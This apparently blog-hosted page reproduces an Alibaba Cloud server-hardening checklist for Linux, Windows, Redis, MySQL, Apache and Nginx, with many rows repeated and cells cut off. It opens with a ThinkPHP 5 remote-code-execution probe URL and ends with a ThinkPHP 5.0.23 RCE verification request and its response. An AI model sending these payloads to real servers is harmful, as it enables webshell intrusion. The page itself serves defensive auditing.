阿里基线安全

http://ip/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

 

风险名称检查项分类检查项名称检查项描述风险等级修复建议                        
阿里云标准-CentOS Li身份鉴别密码复杂度检查检查密码长度和密码是高危编辑/etc/security/pwquality.conf,把minlen(密码最小长度)设置为9-32位,把minclass(至少包含小写字母、大写字母、数字、特殊字符等4类字符中等3类或4类)设置为3或4。如:
```
minlen=10
minclass=3
```
 
阿里云标准-CentOS Li服务配置设置SSH空闲超时退出时间设置SSH空闲超时退出高危编辑/etc/ssh/sshd_config,将ClientAliveInterval 设置为300到900,即5-15分钟,将ClientAliveCountMax设置为0-3之间。
```
ClientAliveInterval 600
ClientAliveCountMax 2
```
 
阿里云标准-CentOS Li身份鉴别检查密码重用是否受限制强制用户不重用最近使高危在/etc/pam.d/password-auth和/etc/pam.d/system-auth中password sufficient pam_unix.so 这行的末尾配置remember参数为5-24之间,原来的内容不用更改,只在末尾加了remember=5。 
阿里云标准-CentOS Li身份鉴别设置密码修改最小间隔时间设置密码修改最小间隔高危在 /etc/login.defs 中将 PASS_MIN_DAYS 参数设置为7-14之间,建议为7:
 ```
PASS_MIN_DAYS 7
 ```
需同时执行命令为root用户设置:
```
chage --mindays 7 root
```
 
阿里云标准-CentOS Li身份鉴别设置密码失效时间设置密码失效时间,强高危`使用非密码登陆方式如密钥对,请忽略此项。`在 `/etc/login.defs `中将 PASS_MAX_DAYS 参数设置为 60-180之间,如:
```
PASS_MAX_DAYS 90
```
需同时执行命令设置root密码失效时间:
``` 
chage --maxdays 90 root
```
 
阿里云标准-CentOS Li身份鉴别检查密码重用是否受限制强制用户不重用最近使高危在/etc/pam.d/password-auth和/etc/pam.d/system-auth中password sufficient pam_unix.so 这行的末尾配置remember参数为5-24之间,原来的内容不用更改,只在末尾加了remember=5。 
阿里云标准-CentOS Li身份鉴别设置密码失效时间设置密码失效时间,强高危`使用非密码登陆方式如密钥对,请忽略此项。`在 `/etc/login.defs `中将 PASS_MAX_DAYS 参数设置为 60-180之间,如:
```
PASS_MAX_DAYS 90
```
需同时执行命令设置root密码失效时间:
``` 
chage --maxdays 90 root
```
 
阿里云标准-CentOS Li服务配置设置SSH空闲超时退出时间设置SSH空闲超时退出高危编辑/etc/ssh/sshd_config,将ClientAliveInterval 设置为300到900,即5-15分钟,将ClientAliveCountMax设置为0-3之间。
```
ClientAliveInterval 600
ClientAliveCountMax 2
```
 
阿里云标准-CentOS Li身份鉴别设置密码修改最小间隔时间设置密码修改最小间隔高危在 /etc/login.defs 中将 PASS_MIN_DAYS 参数设置为7-14之间,建议为7:
 ```
PASS_MIN_DAYS 7
 ```
需同时执行命令为root用户设置:
```
chage --mindays 7 root
```
 
阿里云标准-CentOS Li身份鉴别密码复杂度检查检查密码长度和密码是高危编辑/etc/security/pwquality.conf,把minlen(密码最小长度)设置为9-32位,把minclass(至少包含小写字母、大写字母、数字、特殊字符等4类字符中等3类或4类)设置为3或4。如:
```
minlen=10
minclass=3
```
 
阿里云标准-Windows 2访问控制匿名账户访问控制匿名账户访问控制高危在管理工具打开本地安全策略,打开路径:安全设置\本地策略\安全选项。将网络访问中“Everyone权限应用于匿名用户“设置为:已禁用,将“不允许SAM帐户的匿名枚举“设置为:已启用,将“不允许SAM帐户和共享的匿名枚举”设置为:已启用,将”允许匿名SID/名称转换“设置为:已禁用。 
阿里云标准-Windows 2身份鉴别配置账户锁定策略配置账户锁定策略,降高危在管理工具打开本地安全策略,打开路径:`安全设置\帐户策略\账户锁定策略`。将账户锁定阈值设置为3-8之间,建议值为5,输错5次密码锁定账户;然后将账户锁定时间和重置账户锁定计数器设置为10-30之间,建议值为15,账户锁定时间为15分钟。 
阿里云标准-Windows 2身份鉴别'强制密码历史'设置为5-24之间设置强制密码历史,防高危在管理工具打开本地安全策略,打开路径:`安全设置\帐户策略\密码策略`,将强制密码历史设置为5-24之间 
阿里云标准-Windows 2身份鉴别密码复杂性配置设置强密码,减少密码高危在管理工具打开本地安全策略,打开路径:`(计算机策略\计算机配置\Windows设置)安全设置\帐户策略\密码策略`,将密码必须符合复杂性要求设置为`已启用`,将密码最小长度设置为8以上。 
阿里云标准-Windows 2安全审计应启用安全审计功能,审计覆盖到每个用开启审核策略,对重要高危在管理工具打开本地安全策略,打开路径:`安全设置\本地策略\审核策略`,将全部审核策略配置为:`成功,失败`。包括审核策略更改、审核对象访问、审核进程跟踪、审核目录服务访问、审核账户登陆事件、审核特权使用、审核系统事件、审核账户管理、审核登陆事件共九项。 
阿里云标准-Windows 2身份鉴别设置密码使用期限策略设置密码使用期限策略高危在管理工具打开本地安全策略,打开路径:`安全设置\帐户策略\密码策略`,将密码最长使用期限设置为30-180之间,建议值为`90`,将密码最短使用期限设置为1-14之间,建议值为`7`. 
阿里云标准-Redis安全服务配置修改默认6379端口避免使用熟知的端口,高危编辑文件redis的配置文件redis.conf,找到包含port的行,将默认的6379修改为自定义的端口号,然后重启redis
 
 
阿里云标准-Redis安全文件权限限制redis 配置文件访问权限
 
因为redis密码明文存高危执行以下命令修改配置文件权限:
```
chmod 600 /<filepath>/redis.conf
```
 
阿里云标准-Redis安全入侵防范禁用或者重命名危险命令Redis中线上使用keys高危修改 redis.conf 文件,添加
```
rename-command FLUSHALL ""
rename-command FLUSHDB  ""
rename-command CONFIG   ""
rename-command KEYS     ""
rename-command SHUTDOWN ""
rename-command DEL ""
rename-command EVAL ""
```
然后重启redis。
重命名为"" 代表禁用命令,如想保留命令,可以重命名为不可猜测的字符串,如:
`rename-command FLUSHALL  joYAPNXRPmcarcR4ZDgC`
 
阿里云标准-Redis安全访问控制禁止使用root用户启动使用root权限去运行网高危使用root切换到redis用户启动服务:
```
useradd -s /sbin/nolog -M redis 
sudo -u redis /<redis-server-path>/redis-server /<configpath>/redis.conf 
```
 
阿里云标准-Redis安全入侵防范禁用或者重命名危险命令Redis中线上使用keys高危修改 redis.conf 文件,添加
```
rename-command FLUSHALL ""
rename-command FLUSHDB  ""
rename-command CONFIG   ""
rename-command KEYS     ""
rename-command SHUTDOWN ""
rename-command DEL ""
rename-command EVAL ""
```
然后重启redis。
重命名为"" 代表禁用命令,如想保留命令,可以重命名为不可猜测的字符串,如:
`rename-command FLUSHALL  joYAPNXRPmcarcR4ZDgC`
 
阿里云标准-Redis安全服务配置修改默认6379端口避免使用熟知的端口,高危编辑文件redis的配置文件redis.conf,找到包含port的行,将默认的6379修改为自定义的端口号,然后重启redis
 
 
阿里云标准-Redis安全访问控制打开保护模式redis默认开启保护模高危redis.conf安全设置: # 打开保护模式 protected-mode yes 
阿里云标准-Redis安全访问控制禁止使用root用户启动使用root权限去运行网高危使用root切换到redis用户启动服务:
```
useradd -s /sbin/nolog -M redis 
sudo -u redis /<redis-server-path>/redis-server /<configpath>/redis.conf 
```
 
阿里云标准-Redis安全文件权限限制redis 配置文件访问权限
 
因为redis密码明文存高危执行以下命令修改配置文件权限:
```
chmod 600 /<filepath>/redis.conf
```
 
阿里云标准-Mysql安全服务配置修改默认3306端口避免使用熟知的端口,中危编辑/etc/my.cnf文件,[mysqld] 段落中配置新的端口参数,并重启mysql服务:
```
port=3506 
```
 
阿里云标准-Mysql安全身份鉴别确保没有用户配置了通配符主机名避免在主机名中只使用高危执行SQL更新语句,为每个用户指定允许连接的host范围。
1.  登录数据库,执行`use mysql;` ;
2.  执行语句`select user,Host from user where Host='%';`查看HOST为通配符的用户;
3.  删除用户或者修改用户host字段,删除语句:`DROP USER 'user_name'@'%';` 。更新语句:`update user set host = <new_host> where host = '%';`。
4.  执行SQL语句:
```
OPTIMIZE TABLE user;
flush privileges;
```
 
阿里云标准-Mysql安全服务配置禁用symbolic-links选项禁用符号链接以防止各高危编辑Mysql配置文件/etc/my.cnf,在[mysqld] 段落中配置`symbolic-links=0`,5.6及以上版本应该配置为`skip_symbolic_links=yes`,并重启mysql服务。 
阿里云标准-Mysql安全访问控制禁用local-infile选项禁用local_infile选项高危编辑Mysql配置文件/etc/my.cnf,在[mysqld] 段落中配置local-infile参数为0,并重启mysql服务: 
``` 
local-infile=0
 ```
 
阿里云标准-Mysql安全服务配置禁用symbolic-links选项禁用符号链接以防止各高危编辑Mysql配置文件/etc/my.cnf,在[mysqld] 段落中配置`symbolic-links=0`,5.6及以上版本应该配置为`skip_symbolic_links=yes`,并重启mysql服务。 
阿里云标准-Mysql安全身份鉴别确保没有用户配置了通配符主机名避免在主机名中只使用高危执行SQL更新语句,为每个用户指定允许连接的host范围。
1.  登录数据库,执行`use mysql;` ;
2.  执行语句`select user,Host from user where Host='%';`查看HOST为通配符的用户;
3.  删除用户或者修改用户host字段,删除语句:`DROP USER 'user_name'@'%';` 。更新语句:`update user set host = <new_host> where host = '%';`。
4.  执行SQL语句:
```
OPTIMIZE TABLE user;
flush privileges;
```
 
阿里云标准-Mysql安全服务配置修改默认3306端口避免使用熟知的端口,中危编辑/etc/my.cnf文件,[mysqld] 段落中配置新的端口参数,并重启mysql服务:
```
port=3506 
```
 
阿里云标准-Mysql安全访问控制禁用local-infile选项禁用local_infile选项高危编辑Mysql配置文件/etc/my.cnf,在[mysqld] 段落中配置local-infile参数为0,并重启mysql服务: 
``` 
local-infile=0
 ```
 
阿里云标准-Mysql安全服务配置删除'test'数据库测试数据库可供所有用高危登陆数据库执行以下SQL语句删除test数据库:
```
DROP DATABASE test;
flush privileges;
```
 
阿里云标准-Apache安 配置日志          确保错误日志文件名和严重性级别配置正服务器错误日志非常宝高危1.使用vim编辑器对配置文件进行编辑 `vim path` (`path为主配置文件的绝对路径,如果您的主配置文件中包含`include <path>`,则<path>为您的子配置文件路径) 
2.找到`LogLevel `将其设置为`LogLevel notice ` 
3.找到`ErrorLog `将其设置为`ErrorLog "logs/error_log"`
如没有,请增加
 
阿里云标准-Apache安个人信息保护隐藏 Apache 的版本号及其它敏感信息服务器签名在服务器充中危1.使用vim编辑器对配置文件进行编辑 `vim path`path为主配置文件的绝对路径,如果您的主配置文件中包含`include <path>`,则<path>为您的子配置文件路径)
2.找到`ServerSignature`将其设置为`ServerSignature Off `
如没有,请增加
 
阿里云标准-Apache安入侵防范确保正确设置KeepAliveTimeoutKeepAliveTimeout指高危1.使用vim编辑器对配置文件进行编辑 `vim path`(path为主配置文件的绝对路径,如果您的主配置文件中包含`include <path>`,则<path>为您的子配置文件路径)
2.找到`KeepAliveTimeout`将其设置为
```KeepAliveTimeout  15```
如没有,请增加
 
阿里云标准-Apache安服务配置确保keepAlive已启用允许每个客户端重用TC高危1.使用vim编辑器对配置文件进行编辑 `vim path`(path为主配置文件的绝对路径,如果您的主配置文件中包含`include <path>`,则<path>为您的子配置文件路径)
2.找到`KeepAlive`将其设置为
`KeepAlive On`
如没有,请增加该项
 
阿里云标准-Apache安服务配置确保禁用http跟踪方法TRACE方法不需要,并中危1.`vim path`(path为主配置文件的绝对路径,如果您的主配置文件中包含`include <path>`,则<path>为您的子配置文件路径)
2.找到选项`TraceEnable`将其值设置为`off` 如没有请增加
 
阿里云标准-Apache安入侵防范确保超时设置正确DoS的一种常用技术,高危1.使用vim编辑器对配置文件进行编辑  `vim path`(path为apache配置文件路径例`/usr/local/apache2/etc/httpd.conf`或`/etc/httpd/conf/httpd.conf`或查找include文件或自定义安装请自行查找)
2.找到`Timeout`将其设置为`Timeout 10 `
如没有,请增加
 
阿里云标准-Apache安入侵防范确保MaxKeepAliveRequests设置为适当MaxKeepAliveRequest高危1.使用vim编辑器对配置文件进行编辑  `vim path` (path为主配置文件的绝对路径,如果您的主配置文件中包含`include <path>`,则<path>为您的子配置文件路径)
2.找到`MaxKeepAliveRequests`将其设置为
```MaxKeepAliveRequests 100```
如没有,请增加
 
阿里云标准-Apache安数据保密性确保Web根目录的选项受到限制
禁止 Ap
Web根目录或文档根目中危1.使用 `vim path` (`path为主配置文件的绝对路径,如果您的主配置文件中包含`include <path>`,则<path>为您的子配置文件路径)
2.找到`<Directory "apache网页存放路径">`(默认网页存放路径`/usr/local/apache2`或`/var/www/html`,自定义路径请自行查找)

```<Directory "apache存放网页路径">```
`. . .`
`Options Indexes FollowSymLinks`
`. . .`
```</Directory>```

 将其设置为 `Options None`
如配置虚拟主机,请确保虚拟主机配置项中含有Options None
如没有,请增加
```<Directory "apache存放网页路径">```
`. . .`
`Options None`
`. . .`
```</Directory>```
 
阿里云标准-Nginx安全服务配置针对Nginx SSL协议进行安全加固Nginx SSL协议的加密高危Nginx SSL协议采用TLSv1.2:
1、打开`conf/nginx.cconf`配置文件;
2、配置
```
server { 
               ...
              ssl_protocols TLSv1.2;
               ...
                     }
```
备注:配置此项请确认nginx支持OpenSSL,运行`nginxv -V` 如果返回中包含`built with OpenSSL`则表示支持OpenSSL。如果不支持,请重新编译nginx
 
阿里云标准-Nginx安全服务配置Nginx后端服务指定的Header隐藏状态隐藏Nginx后端服务X-P高危隐藏Nginx后端服务指定Header的状态:
1、打开`conf/nginx.conf`配置文件;
2、在`http`下配置`proxy_hide_header`项;
增加或修改为
`proxy_hide_header X-Powered-By;`
`proxy_hide_header Server;`
 
阿里云标准-Nginx安全身份鉴别检查是否配置Nginx账号锁定策略。1.执行系统命令passwd高危配置Nginx账号登录锁定策略:
Nginx服务建议使用非root用户(如nginx,nobody)启动,并且确保启动用户的状态为锁定状态。可执行passwd -l <Nginx启动用户> 如`passwd -l nginx` 来锁定Nginx服务的启动用户。命令 `passwd -S <用户>`  如`passwd -S nginx`可查看用户状态。
修改配置文件中的nginx启动用户修改为nginx或nobody
如:
```user nobody;```
 
弱密码-Mysql数据库登身份鉴别数据库登陆弱密码若系统使用弱口令,存高危将弱密码修改复杂密码,应符合复杂性要求:
```
1、长度8位以上
2、包含以下四类字符中的三类字符:
英文大写字母(A 到 Z)
英文小写字母(a 到 z)
10 个基本数字(0 到 9)
非字母字符(例如 !、$、#、%、@、^、&)
3、避免使用已公开的弱密码,如:abcd.1234 、admin@123等
```
可使用 SET PASSWORD 命令把弱密码修改为强密码 
```
1、登陆数据库 
2、查看数据库用户密码信息   
mysql> SELECT user, host, authentication_string FROM user;   
部分版本查询命令为: 
mysql> SELECT user, host, password FROM user;  
3、根据查询结果及弱密码告警信息修改具体用户的密码 
mysql> SET PASSWORD FOR '用户名'@'主机' = PASSWORD('新密码');  
```
弱密码-Redis数据库登身份鉴别开启redis密码认证,并设置高复杂度密redis在redis.conf配高危打开redis.conf,找到requirepass所在的地方,修改为指定的密码,密码应符合复杂性要求:
```
1、长度8位以上
2、包含以下四类字符中的三类字符:
英文大写字母(A 到 Z)
英文小写字母(a 到 z)
10 个基本数字(0 到 9)
非字母字符(例如 !、$、%、@、^、&等,#除外)
3、避免使用已公开的弱密码,如:abcd.1234 、admin@123等
```
再去掉前面的#号注释符,然后重启redis
 

 

 

 

 

漏洞证明

验证请求:

POST http://xx.xx.xx/

s=c4ca4238a0b923820dcc509a6f75849b&_method=__construct&filter[]=print_r&method=

返回内容:

c4ca4238a0b923820dcc509a6f75849b__constructprint_rhello

 

造成的影响

由于ThinkPHP5框架对Request类的method处理存在缺陷,导致黑客构造特定的请求,可直接GetWebShell。

安全建议

升级ThinkPHP至最新版本

技术参考

https://help.aliyun.com/noticelist/articleid/1000098337.html 漏洞原理和测试PoC:https://github.com/vulhub/vulhub/tree/master/thinkphp/5.0.23-rce

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值